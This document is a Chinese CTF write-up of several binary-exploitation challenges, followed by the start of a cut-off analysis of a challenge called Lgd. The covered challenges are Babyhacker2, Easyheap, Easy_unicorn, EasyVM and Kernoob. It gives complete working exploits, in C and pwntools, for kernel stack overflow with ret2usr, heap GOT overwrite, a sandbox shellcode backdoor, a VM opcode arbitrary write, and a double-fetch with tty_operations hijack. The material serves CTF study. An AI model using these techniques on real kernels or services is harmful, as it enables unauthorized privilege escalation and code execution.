Babyhacker2 分析 首先我们看一下startvm.sh
有时间限制,并且开启了kalsr,smep,smap的保护。即内核不能访问用户空间的数据和代码,这个保护可以通过修改cr4寄存器来关闭。我们看一下虚拟机本身
1 cpio -idmv < initramfs.cpio 
首先是加载了babyhacker.ko的驱动,这里驱动开启了canary和NX保护。接着将dmesg_restrict/kptr_restrict置为0意味着我们可以通过cat kallsyms查看commit_creds/prepare_kernel_cred两个函数的地址。通过commit_creds(prepare_kernel_cred(0))调用来实现提权。
漏洞出现在0x30000的操作处
我们传入的rdx是一个signedint,因此我们可以通过输入负数来实现判断的绕过
绕过判断之后就可以将di即后两个字节赋值给buffersize。由于读取和写入的操作是通过buffersize来控制的,因此我们可以实现栈内容的泄露和栈溢出覆盖返回地址ROP。
利用 
修改buffersize的大小,泄露canary,rbp,ret的地址,实现内核基址的获取,绕过kalsr,canary。 
修改buffersize的大小,将rop链写入到返回地址位置,关闭smep,smap,执行用户空间的提权代码提权,返回用户空间getshell。 
 
提权时采用的是ret2usr,即利用我们写好的函数进行提权操作。当执行两个内核空间的提权函数的时候,我们处于ring0级别,因此可以正常执行。但是要getshell需要返回用户空间去执行,这里利用到了swags,iretq来返回用户空间,但是在这之前需要我们保存CS, flags, esp 等信息,供iretq使用。
GDB调试
首先在qemu中lsmod找到babyhacker的加载基址0xffffffffc0000000,接着在gdb中执行
add-symbol-file babyhacker.ko 0xffffffffc0000000
b *0xffffffffc0000000+0x70
set architecture i386:x86-64:intel
target remote :1234 //getchar()
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #include <stdio.h>  #include <stdlib.h>  #include  <unistd.h>  #include  <fcntl.h>  #include  <sys/stat.h>  #include  <sys/types.h>  #include  <sys/ioctl.h>  size_t  commit_creds;size_t  prepare_kernel_cred;unsigned  long  long  user_cs, user_ss, user_rflags;unsigned  long  user_stack = 0 ;size_t  p_rdi_r = 0xffffffff8109054d ;size_t  mv_rc4_rdi_p_rbp_r = 0xffffffff81004d70 ;size_t  rop[0x1000 ];void  get_shell () {	system("/bin/sh" ); } void  getroot () {	char * (*pkc)(int ) = prepare_kernel_cred;     void  (*cc)(char *) = commit_creds;     (*cc)((*pkc)(0 )); 	asm (         "push %2\n"          "swapgs\n"          "push %0\n"          "push %1\n"          "push %2\n"          "push %3\n"          "push %4\n"          "iretq\n"          :         :  "r"  (user_ss), "r"  (user_stack), "r"  (user_rflags), "r"  (user_cs), "r"  (get_shell)         : "memory"      ); } void  save_state () {    asm (     "movq %%cs, %0\n"      "movq %%ss, %1\n"      "movq %%rsp, %2\n"      "pushfq\n"      "popq %3\n"      : "=r"  (user_cs), "=r"  (user_ss), "=r"  (user_stack), "=r"  (user_rflags) : : "memory" ); } int  main (int  argc, char  const  *argv[]) { 	save_state(); 	commit_creds = 0xffffffff810a1430 ; 	prepare_kernel_cred = 0xffffffff810a1820 ; 	int  fd = open("/dev/babyhacker" , O_RDONLY); 	if (fd < 0 ){ 		printf ("open error\n" ); 	} 	getchar(); 	ioctl(fd, 0x30000 , 0xf000ffff ); 	size_t  buf[0x1000 ]; 	ioctl(fd, 0x30002 , buf); 	 	 	 	 	size_t  canary = buf[40 ]; 	size_t  orl_ebp = buf[41 ]; 	size_t  ret_address = buf[42 ]; 	size_t  offset = 0xffffffff81219218  - ret_address; 	printf ("canary: %p--  ret_address: %p -- offset: %d\n" , canary, ret_address, offset); 	commit_creds += offset; 	prepare_kernel_cred += offset; 	p_rdi_r += offset; 	mv_rc4_rdi_p_rbp_r += offset; 	printf ("commit_creds : %p\nprepare_kernel_cred: %p\n" , commit_creds, prepare_kernel_cred); 	ioctl(fd, 0x30000 , 0xf000ffff ); 	int  index = 40 ; 	rop[index++] = canary; 	rop[index++] = orl_ebp; 	rop[index++] = p_rdi_r; 	rop[index++] = 0x6f0 ; 	rop[index++] = mv_rc4_rdi_p_rbp_r; 	rop[index++] = orl_ebp; 	rop[index++] = getroot; 	ioctl(fd, 0x30001 , rop); 	return  0 ; } 
Easyheap 分析 程序一共提供了三种功能分别是add,delete,edit。注意到在delete的时候已经将指针清空,最多同时存在三个指针,用户申请的内存的最大大小为0x400。但是在add的时候,判断用户大小的逻辑处出了问题
注意到在判断逻辑之前指针已经被赋值到ptr中了,而当用户输入的大小大于0x400的时候并没有释放这一部分内存,清空这一部分的指针。
假如我们之前申请了两次0x50大小的堆块,并全部释放,此时fastbin中存在两个0x20大小的堆块。此时申请大于0x400的堆块的时候,ptr[0]中的指针会是最后一次释放的fastbin,并且fd指针指向下一个fastbin,size没有被清空的情况下,我们就可以通过edit控制下一个fastbin堆块内容。
0x10大小的堆块标识如下
1 2 3 4 typeof struct  con {     char * content;     int  length; } 
利用 
申请大小为0x40,0x50的堆块,并释放。此时申请0x500,0x20,0x50的堆块,堆布局如下
此时我们修改ptr[0]使得ptr[1]的content指向ptr[2],也就是将0x603000的最后一个字节覆写为0x30,这样edit ptr[0]就可以更改ptr[1]的content为我们想要任意写的内存地址,此时edit ptr[1]就是向我们想要写的内存地址处写内容了。实现了任意写。
通过edit ptr[1],ptr[2]实现的任意写将free.got改写为puts.plt,将ptr[2]的content改写为想要泄露地址的函数的got地址,就可以泄露到的libc基址。
通过edit ptr[0],ptr[1]实现的任意写将atoi的地址改写为system,输入/bin/sh进行getshell。
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from  pwn import  *file_path = "./easyheap"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, "b*0x400B98\n" )     libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  add (length, content ):    p.sendlineafter("choice:\n" , "1" )     p.sendlineafter("this message?\n" , str (length))     if  length <= 0x400 :         p.sendafter("the message?\n" , content) def  delete (index ):    p.sendlineafter("choice:\n" , "2" )     p.sendlineafter("to be deleted?\n" , str (index)) def  edit (index, content ):    p.sendlineafter("choice:\n" , "3" )     p.sendlineafter("be modified?\n" , str (index))     p.sendafter("the message?\n" , content) def  message_exit ():    p.sendlineafter("choice:\n" , "4" ) add(0x40 , "0" )  add(0x50 , "1" )  delete(0 ) delete(1 ) add(0x500 , "12" )  add(0x20 , "12" )  add(0x50 , "12" )  padding = p64(0 )+p64(0x21 ) edit(0 , padding + b"\x30" ) edit(1 , p64(elf.got['free' ])) edit(2 , p64(elf.plt['puts' ])) edit(1 , p64(elf.got['atoi' ])) delete(2 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - libc.sym['atoi' ] log.success("libc address: {}" .format (hex (libc.address))) edit(0 , padding + p64(elf.got['atoi' ])) edit(1 , p64(libc.sym['system' ])) p.sendlineafter("choice:\n" , "/bin/sh" ) p.interactive() 
Easy_unicorn unicorn 可以看这篇分析文章 
Unicorn是一款基于qemu模拟器的模拟执行框架,支持Arm,Mips等多种指令集,为包含c++,python,java在内的多种语言提供了编程接口,其DLL可以被更多的语言调用。
Unicorn采用虚拟内存基址,通过uc_mem_map,uc_mem_read,uc_mem_write的api来控制虚拟内存,map时需要与0x1000内存对齐。想要Unicorn模拟执行代码,则首先要将代码加载到虚拟内存中。
unicorn中存在hook机制,调用add_hook即可添加一个hook。Unicorn的hook是链式的,也就是可以添加多个同类型的hook,Unicorn会依次调用每一个handler。这里我们主要关注四种类型的hook
UC_HOOK_INTR,1<<0 中断UC_HOOK_INSN,1<<1,系统调用和中断UC_HOOK_CODE,1<<2,执行每一行代码时触发hookUC_HOOK_MEM_READ,1<<10 内存写UC_HOOK_MEM_WRITE,1<<11 内存读取 
add_hook的函数原型如下
1 2 3 4 5 6 7 8 9 10 11 12 13 uc_err uc_hook_add (uc_engine *uc, uc_hook *hh, int  type, void  *callback,          void  *user_data, uint64_t  begin, uint64_t  end, ...) ;
Sandbox分析 我们知道unicorn是作为虚拟机类似的存在,其运行的主程序主要就是xctf_pwn了。题目中给出了其dump文件。首先我们看一下x86_sandbox。
我们看到程序首先是读取xctf_pwn.dmp中的二进制数据,如果程序设置了info参数的话,其会输出xctf_pwn中所有的段信息。这一个步相当于初始化了虚拟机x86_sandbox这个对象。(可以有多个虚拟机对象,各个对象互不干扰)
接着如果设置-debug参数的话,其会添加一个code_hook,我们看一下
这里hook的类型为4,也就是UC_HOOK_CODE,那么每执行一条指令,其就会将RIP打印出来。接着是调用了Disable_file_RDWR
其将sandbox对象中+0x28位置的值置为了0,这里会影响后面的函数。接着添加了system的hook,这个hook的类型是2也就是会hook所有的中断和系统调用。我们看一下具体的callback函数,其根据rax的数值判断当前调用的系统函数,这里我们关注一下rax=2也就是sys_open系统调用,这是程序调用了file_open这个函数
由于之前将sandbox+0x28处设置为了0,因此并不能反会fd,但是文件已经打开了。完成system hook的添加之后,程序输出了所有的寄存器地址,然后启动了虚拟机
提取程序 我们可以利用info给出的信息提取。我们将0x400000开始到0x604000结束的内容提取出来,这就是程序的主要内容了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 data = '''  | .gcc_except_table            |            401e64  |               f5c  |         24 | | debug001                     |      7ffff783b000  |               f88  |       4000 | | .data                        |            603090  |              4fb8  |         10 | | libc_2.23.so                 |      7ffff7475000  |              5008  |     1c0000 | | .fini                        |            4015a4  |            1c5008  |          9 | | .plt                         |            4009f0  |            1c5111  |        100 | | .jcr                         |            602e00  |            1c5211  |          8 | | ld_2.23.so1                  |      7ffff7ffc000  |            1c5219  |       1000 | | ld_2.23.so2                  |      7ffff7ffd000  |            1c6219  |       1000 | | LOAD                         |            400000  |            1c7239  |        9c8 | | .init                        |            4009c8  |            1c7c01  |         1a | | [stack]                      |      7ffffffde000  |            1c7c1b  |      21000 | | libstdc__.so.6.0.21          |      7ffff7a55000  |            1e8c2b  |     172000 | | LOAD2                        |            400af8  |            35ac3b  |          8 | | .fini_array                  |            602df8  |            35ac43  |          8 | | .prgend                      |            6031d8  |            35ac4b  |          1 | | libstdc__.so.6.0.212         |      7ffff7dc7000  |            35ac4c  |       a000 | | libstdc__.so.6.0.213         |      7ffff7dd1000  |            364c4c  |       2000 | | .plt.got                     |            400af0  |            366c4c  |          8 | | libstdc__.so.6.0.211         |      7ffff7bc7000  |            366c54  |       d000 | | ld_2.23.so                   |      7ffff7dd7000  |            373c54  |      26000 | | libgcc_s.so.1                |      7ffff783f000  |            399c54  |      16000 | | libgcc_s.so.11               |      7ffff7a54000  |            3afc54  |       1000 | | libm_2.23.so1                |      7ffff7274000  |            3b0c54  |       2000 | | libm_2.23.so3                |      7ffff7474000  |            3b2c54  |       1000 | | libm_2.23.so2                |      7ffff7473000  |            3b3c54  |       1000 | | debug004                     |      7ffff7ffe000  |            3b4c5c  |       1000 | | xctf_pwn                     |            401e88  |            3b5c74  |        178 | | LOAD1                        |            4009e2  |            3b5dec  |          e | | LOAD3                        |            4015a2  |            3b5dfa  |          2 | | LOAD5                        |            4019a7  |            3b5e04  |          1 | | LOAD4                        |            4015ad  |            3b5e05  |          3 | | LOAD7                        |            602e08  |            3b5e08  |        1f0 | | LOAD6                        |            401a84  |            3b5ff8  |          4 | | [vdso]                       |      7ffff7ffa000  |            3b5ffc  |       2000 | | .text                        |            400b00  |            3b7ffc  |        aa2 | | libc_2.23.so3                |      7ffff7839000  |            3b8b5e  |       2000 | | libc_2.23.so2                |      7ffff7835000  |            3bab5e  |       4000 | | libc_2.23.so1                |      7ffff7635000  |            3beb5e  |       9000 | | .rodata                      |            4015b0  |            3c7b5e  |        3f7 | | .got                         |            602ff8  |            3c7f55  |          8 | | .got.plt                     |            603000  |            3c7f5d  |         90 | | .eh_frame_hdr                |            4019a8  |            3c7fed  |         dc | | .bss                         |            6030a0  |            3c80c9  |        138 | | extern                       |            6031e0  |            3c8201  |         98 | | libm_2.23.so                 |      7ffff716c000  |            3c8299  |     108000 | | [vsyscall]                   |  ffffffffff600000  |            4d0299  |       1000 | | [heap]                       |            604000  |            4d1299  |      32000 | | .init_array                  |            602df0  |            503299  |          8 | | .eh_frame                    |            401a88  |            5032a1  |        3dc | | debug003                     |      7ffff7fe7000  |            50367d  |       6000 | | xctf_pwn3                    |            603278  |            50967d  |        d88 | | xctf_pwn1                    |            602000  |            50a405  |        df0 | | xctf_pwn2                    |            6031d9  |            50b1f5  |          7 | | debug002                     |      7ffff7dd3000  |            50b1fc  |       4000 | ''' data = data.split("\n" )[1 :-1 ] seg = [] for  i in  data:    t = i.split("|" )[1 :-1 ]     t = [i.strip() for  i in  t]     t = [int (i, 16 ) for  i in  t[1 :]] + t[:1 ]     seg.append(t) seg.sort() for  i in  seg:    print (hex (i[0 ]), i[1 :]) f = open ("recovery_pwn" , "wb" ) with  open ("xctf_pwn.dump" , "rb" ) as  fr:    for  i in  seg:         if  i[0 ]>=0x604000 :             continue          print ("len of {} is {}" .format (i[3 ], i[2 ]))         fr.seek(i[1 ])         f.write(fr.read(i[2 ])) f.close() 
也可以采用patch的形式,通过将读取内存写入文件的二进制代码写入eh_frame段,hook engine_start的调用至eh_frame段的函数就可以完成程序的dump。
xctf_pwn分析 反编译提取出来的程序,我们通过string找到主程序
我们主要关注的是cmp_pass这个函数,
该函数将用户输入的pass转换为16进制,并与cpuid进行比较,若相同则调用v5[0]+1处的函数。否则就会将vtable的地址+1。而当用户输入的pass的总长度大于4且不正确时,程序就会推出。cpuid的产生位于print_cpuid函数中
a1+0x18中存储着原始的cpuid数值,通过异或得到输出的machine-code。我们可以通过machine-code反向次序异或,得到原始的cpuid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 p.recvuntil("\x1B[1;31;5m " ) data = p.recvuntil(" " ).strip() print (data)data_int_list = [int (i, 16 ) for  i in  data.split(b"-" )] data_bytes = b""  for  i in  data_int_list:    data_bytes += p32(i) data_bytes_list = [i for  i in  data_bytes] print (data_bytes)print (data_bytes_list)for  i in  range (0xe , -1 , -1 ):    data_bytes_list[i]^=data_bytes_list[i+1 ] pass_str = ""  for  i in  data_bytes_list:    pass_str += "%02x" %i print (pass_str)
当我们输入正确的pass的时候,就会调用vtable+1的函数
我们看一下该函数
在sandbox中open的系统调用已经被hook了,文件已经被打开,但是无法返回fd。
但是我们注意到401928位置即vtable+0x28处存在一个后门函数
这里会执行用户输入的任意的shellcode。但是我们要想执行这个函数需要将vtable的地址+0x20才行,因此需要输入pass错误0x20次。也就是需要绕过总长度大于4的判断。我们注意到在readpass的时候如果用户输入的是\n,其并不会进入for循环,也就是count永远是0。这就绕过了判断。
接下来就是如何执行shellcode的问题了。orw操作中open操作文件已经打开只不过是fd没有返回。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  pwn import  *file_path = "./x86_sandbox"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])          libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  p.recvuntil("\x1B[1;31;5m " ) data = p.recvuntil(" " ).strip() print (data)data_int_list = [int (i, 16 ) for  i in  data.split(b"-" )] data_bytes = b""  for  i in  data_int_list:    data_bytes += p32(i) data_bytes_list = [i for  i in  data_bytes] print (data_bytes)print (data_bytes_list)for  i in  range (0xe , -1 , -1 ):    data_bytes_list[i]^=data_bytes_list[i+1 ] pass_str = ""  for  i in  data_bytes_list:    pass_str += "%02x" %i print (pass_str)for  i in  range (0x20 ):    p.sendafter("your password << " , "\n" ) p.sendlineafter("your password << " , pass_str) shellcode = shellcraft.open ("./flag.txt" ) shellcode += shellcraft.read(3 , "rsp" , 0x100 ) shellcode += shellcraft.write(1 , "rsp" , 0x100 ) p.recvuntil("data ptr:" ) buf_address = int (p.recvline().strip(b"\n" ), 16 ) p.sendlineafter("data<<" , asm(shellcode)) p.sendlineafter("invoke ptr<<" , str (buf_address)) p.sendlineafter("arg0<<" , str (buf_address)) p.sendlineafter("arg1<<" , str (buf_address)) p.sendlineafter("arg2<<" , str (buf_address)) p.interactive() 
EasyVM 分析 程序提供了四种方法,其中最为重要的就是start的逻辑
通过0x80我们可以将ptr[n]改写为任意四字节值,而配合0x54和0x53可以实现内存的任意读写。通过0x9和0x11的配合,我们可以泄露0x5655805c处的内容
经过4之后,0x5655805c会被改写为一个elf的地址,这样我们就可以泄露出elf的加载基址,绕过ASLR。通过读取free_got即可以泄露libc基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from  pwn import  *file_path = "./EasyVM"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, "b*0x56555F0A" )     libc = ELF('/home/pwn/Desktop/glibc/x32/glibc-2.23/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  add (data ):    p.sendlineafter(">>>" , "1" )     p.sendline(data) def  start ():    p.sendlineafter(">>>" , "2" ) def  recyle ():    p.sendlineafter(">>>" , "3" ) def  gift ():    p.sendlineafter(">>>" , "4" ) def  bo_exit ():    p.sendlineafter(">>>" , "5" ) leak_elf_address_paylaod = "\x09\x11\x99"  gift() add(leak_elf_address_paylaod) start() p.recvuntil("0x" ) elf.address = int (p.recvline().strip(b"\n" ), 16 ) - 0x6c0  log.success("elf base address {}" .format (hex (elf.address))) free_got = elf.got['free' ] free_address = b""  for  i in  range (4 ):    add(b"\x80" +chr (3 ).encode()+p32(free_got+i)+b"\x53\x99\x99" )     start()     free_address += p.recvuntil("1.Produce" , drop=True )[-1 :] free_address = u32(free_address) libc.address = free_address - libc.sym['free' ] log.success("libc address {}" .format (hex (libc.address))) system_address = libc.sym['system' ] binsh_address = libc.search(b"/bin/sh\x00" ).__next__() free_hook_address = libc.sym['__free_hook' ] add(b"\x80" +chr (10 ).encode()+p32(binsh_address)+b"\x99" ) start() for  i in  range (4 ):    add(b"\x80" +chr (3 ).encode()+p32(free_hook_address+i)+b"\x54\x99\x99" )     start()     p.send(p32(system_address)[i:i+1 ]) recyle() p.interactive() 
Kernoob 分析 首先看一下程序,程序只开启了堆栈不可执行保护,内核则只开启了smep保护。程序提供了四种方法add,show,edit,delete。
delete的时候没有对全局变量进行清空,因此存在UAF,而对用户空间的数据又是进行了两步操作,即先验证size的大小,然后根据size进行分配内存,存在double fetch。
利用 double fetch 的利用见此 
通过double fetch的竞争,可以在内核对size验证完毕之后将申请的内存更改为任意的大小。
kernel中存在一种tty_struct结构体,在打开tty设备的时候会创建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 struct  tty_struct  {	int 	magic; 	struct  kref  kref ; 	struct  device  *dev ; 	struct  tty_driver  *driver ; 	const  struct  tty_operations  *ops ; 	int  index; 	 	struct  ld_semaphore  ldisc_sem ; 	struct  tty_ldisc  *ldisc ; 	struct  mutex  atomic_write_lock ; 	struct  mutex  legacy_mutex ; 	struct  mutex  throttle_mutex ; 	struct  rw_semaphore  termios_rwsem ; 	struct  mutex  winsize_mutex ; 	spinlock_t  ctrl_lock; 	spinlock_t  flow_lock; 	 	struct  ktermios  termios , termios_locked ; 	struct  termiox  *termiox ; 	char  name[64 ]; 	struct  pid  *pgrp ; 	struct  pid  *session ; 	unsigned  long  flags; 	int  count; 	struct  winsize  winsize ; 	unsigned  long  stopped:1 ,	 		      flow_stopped:1 , 		      unused:BITS_PER_LONG - 2 ; 	int  hw_stopped; 	unsigned  long  ctrl_status:8 ,	 		      packet:1 , 		      unused_ctrl:BITS_PER_LONG - 9 ; 	unsigned  int  receive_room;	 	int  flow_change; 	struct  tty_struct  *link ; 	struct  fasync_struct  *fasync ; 	wait_queue_head_t  write_wait; 	wait_queue_head_t  read_wait; 	struct  work_struct  hangup_work ; 	void  *disc_data; 	void  *driver_data; 	spinlock_t  files_lock;		 	struct  list_head  tty_files ; #define  N_TTY_BUF_SIZE 4096 	int  closing; 	unsigned  char  *write_buf; 	int  write_cnt; 	 	struct  work_struct  SAK_work ; 	struct  tty_port  *port ; } __randomize_layout; 
这里我们主要关注的是第五个成员变量也就是tty_operations,该结构体中存在很多的函数指针(虚函数表),与fileops类似。在获得任意的内存分配权限之后,我们可以申请一个tty_operations结构体的大小并释放(这里大小的获取可以编译输出size的驱动,或者直接查找源码 ),在打开一个tty设备ptmx的时候之前释放的堆块就会被申请,因此我们可以通过UAF来控制打开的tty设备中的tty_operations结构体,劫持其中的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct  input { 	size_t  index; 	char * buf; 	size_t  size; 	 }; void  change_size (void * in) {	struct  input * cu_in  = 	while (has_changed == 0 ){ 		cu_in->size = 0x2e0 ; 	} } int  main (int  argc, char  const  *argv[]) { 	getchar(); 	save_state(); 	struct  tty_operations  fake_tty ; 	char  buf[0x1000 ]; 	pthread_t  t1; 	int  fd1 = open("/dev/noob" , O_RDONLY); 	struct  input  current_input ; 	current_input.index = 0 ; 	current_input.buf = buf; 	current_input.size = 0x0 ; 	pthread_create(&t1, NULL , change_size, ¤t_input); 	for  (int  i = 0 ; i < 0x100000 ; ++i) 	{ 		ioctl(fd1, 0x30000 , ¤t_input); 		current_input.size = 0 ; 	} 	has_changed = 1 ; 	pthread_join(t1, NULL ); 
可以看到我们已经成功分配一个块大小为0x2e0的堆块,接下来释放该堆块并打开一个tty设备,占用这个堆块。堆块占用完成之后我们就可以劫持函数指针了。
提升权限的方法这里可以选择内核的ROP,利用xchg e?x , esp的gadget来迁移函数栈,由于tty_operations的函数调用的最后一条指令是call eax,因此这里选择xchg eax, esp。对tty_operations中指针的覆盖则是选择的ioctl函数。那么在调用ioctl函数的时候,rax是xchg rax, rsp的地址,此时即将栈劫持到gadget地址上,主要到此时的gadget的地址的高8位是0
我们需要在该地址中布置好rop chain,因此我们需要先在这个地址处mmap一段内存空间,接着将关闭smep,smap保护和提升权限获取shell的rop链部署在该位置。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 #include <stdio.h>  #include <stdlib.h>  #include  <unistd.h>  #include  <fcntl.h>  #include  <sys/stat.h>  #include  <sys/types.h>  #include  <sys/ioctl.h>  #include  <string.h>  struct  tty_operations {     struct  tty_struct  *(*lookup )(struct  tty_driver  *, struct  file  *, int );     int  (*install)(struct  tty_driver *, struct  tty_struct *);                   void  (*remove)(struct  tty_driver *, struct  tty_struct *);                   int  (*open)(struct  tty_struct *, struct  file *);                            void  (*close)(struct  tty_struct *, struct  file *);                          void  (*shutdown)(struct  tty_struct *);                                      void  (*cleanup)(struct  tty_struct *);                                       int  (*write)(struct  tty_struct *, const  unsigned  char  *, int );                   int  (*put_char)(struct  tty_struct *, unsigned  char );                                 void  (*flush_chars)(struct  tty_struct *);                                            int  (*write_room)(struct  tty_struct *);                                              int  (*chars_in_buffer)(struct  tty_struct *);                                         int  (*ioctl)(struct  tty_struct *, unsigned  int , long  unsigned  int );                  long  int  (*compat_ioctl) (struct  tty_struct *, unsigned  int , long  unsigned  int ) ;      void  (*set_termios)(struct  tty_struct *, struct  ktermios *);                         void  (*throttle)(struct  tty_struct *);                                                    void  (*unthrottle)(struct  tty_struct *);                void  (*stop)(struct  tty_struct *);                      void  (*start)(struct  tty_struct *);                     void  (*hangup)(struct  tty_struct *);                    int  (*break_ctl)(struct  tty_struct *, int );             void  (*flush_buffer)(struct  tty_struct *);              void  (*set_ldisc)(struct  tty_struct *);                 void  (*wait_until_sent)(struct  tty_struct *, int );           void  (*send_xchar)(struct  tty_struct *, char );                                int  (*tiocmget)(struct  tty_struct *);                                         int  (*tiocmset)(struct  tty_struct *, unsigned  int , unsigned  int );             int  (*resize)(struct  tty_struct *, struct  winsize *);                         int  (*set_termiox)(struct  tty_struct *, struct  termiox *);                    int  (*get_icount)(struct  tty_struct *, struct  serial_icounter_struct *);      const  struct  file_operations  *proc_fops ;           }; size_t  commit_creds = 0xffffffff810ad430 ;size_t  prepare_kernel_cred = 0xffffffff810ad7e0 ;unsigned  long  long  user_cs, user_ss, user_rflags;unsigned  long  user_stack = 0 ;int  has_changed = 0 ;size_t  xchg_rax_rsp_r = 0xffffffff8101db17 ;size_t  p_rdi_r = 0xffffffff8107f460 ;size_t  mv_rc4_rdi_p_rbp_r = 0xffffffff8101f2f0 ;void  get_shell () {	system("/bin/sh" ); } void  getroot () {	char * (*pkc)(int ) = prepare_kernel_cred;     void  (*cc)(char *) = commit_creds;     (*cc)((*pkc)(0 )); 	asm (         "push %2\n"          "swapgs\n"          "push %0\n"          "push %1\n"          "push %2\n"          "push %3\n"          "push %4\n"          "iretq\n"          :         :  "r"  (user_ss), "r"  (user_stack), "r"  (user_rflags), "r"  (user_cs), "r"  (get_shell)         : "memory"      ); } void  save_state () {    asm (     "movq %%cs, %0\n"      "movq %%ss, %1\n"      "movq %%rsp, %2\n"      "pushfq\n"      "popq %3\n"      : "=r"  (user_cs), "=r"  (user_ss), "=r"  (user_stack), "=r"  (user_rflags) : : "memory" ); } struct  input { 	size_t  index; 	char * buf; 	size_t  size; 	 }; void  change_size (void * in) {	struct  input * cu_in  = 	while (has_changed == 0 ){ 		cu_in->size = 0x2e0 ; 	} } int  main (int  argc, char  const  *argv[]) { 	save_state(); 	struct  tty_operations  fake_tty ; 	char  buf[0x1000 ]; 	pthread_t  t1; 	int  fd1 = open("/dev/noob" , O_RDONLY); 	struct  input  current_input ; 	current_input.index = 0 ; 	current_input.buf = buf; 	current_input.size = 0x0 ; 	pthread_create(&t1, NULL , change_size, ¤t_input); 	for  (int  i = 0 ; i < 0x100000 ; ++i) 	{ 		ioctl(fd1, 0x30000 , ¤t_input); 		current_input.size = 0 ; 	} 	has_changed = 1 ; 	pthread_join(t1, NULL ); 	getchar(); 	 	 	printf ("maybe freed 0x2e0 chunk\n" ); 	ioctl(fd1, 0x30001 , ¤t_input); 	int  fd2 = open("/dev/ptmx" , O_RDONLY); 	if (fd2 < 0 ){ 		printf ("open ptmx error\n" ); 		exit (0 ); 	} 	printf ("open tty finished\n" ); 	size_t  fake_stack = xchg_rax_rsp_r & 0xffffffff ; 	printf ("fake stack %lx---%lx\n" , fake_stack, fake_stack&0xfffff000 ); 	size_t  rop_chain = mmap((void  *)(fake_stack&0xfffff000 ), 0x1000 , 7 , 0x22 , -1 , 0 ); 	if (!rop_chain){ 		printf ("mmap error\n" ); 		exit (0 ); 	} 	printf ("mmap finished, %lx\n" , rop_chain); 	size_t  rop[] = { 		p_rdi_r, 		0x6f0 , 		mv_rc4_rdi_p_rbp_r, 		0 , 		getroot 	}; 	memset (&fake_tty, 0 , sizeof (struct  tty_operations)); 	printf ("memset finished\n" ); 	fake_tty.ioctl = xchg_rax_rsp_r; 	memcpy ((void  *)fake_stack, rop, sizeof (rop)); 	printf ("rop memcpy finished\n" ); 	size_t  ori_tty[0x30 /8 ] = {0 }; 	current_input.buf = ori_tty; 	current_input.size = 0x30 ; 	printf ("reading buf form kernel\n" ); 	ioctl(fd1, 0x30003 , ¤t_input); 	ori_tty[3 ] = &fake_tty; 	for (int  i =0 ;i<(0x30 /8 );i++){         printf ("%lx\n" ,ori_tty[i]);     }     getchar(); 	ioctl(fd1, 0x30002 , ¤t_input); 	ioctl(fd2, 0 , 0 ); 	return  0 ; } 
Lgd 分析 程序提供了四种方法add,delete,show,edit。并且使用了prctl函数,不允许调用execve。
在add,delete函数中存在大量的emmm应该是无关代码吧,观察到好像都是0,我们只需要关注这几个语句就可以了
add函数按照用户的输入申请相应大小的内存,最大不超过0x1000大小,接着读取0x200字节的输入到bbs段中,并将用户输入的字符串的长度保存在0x603260地址处。bug是堆块列表
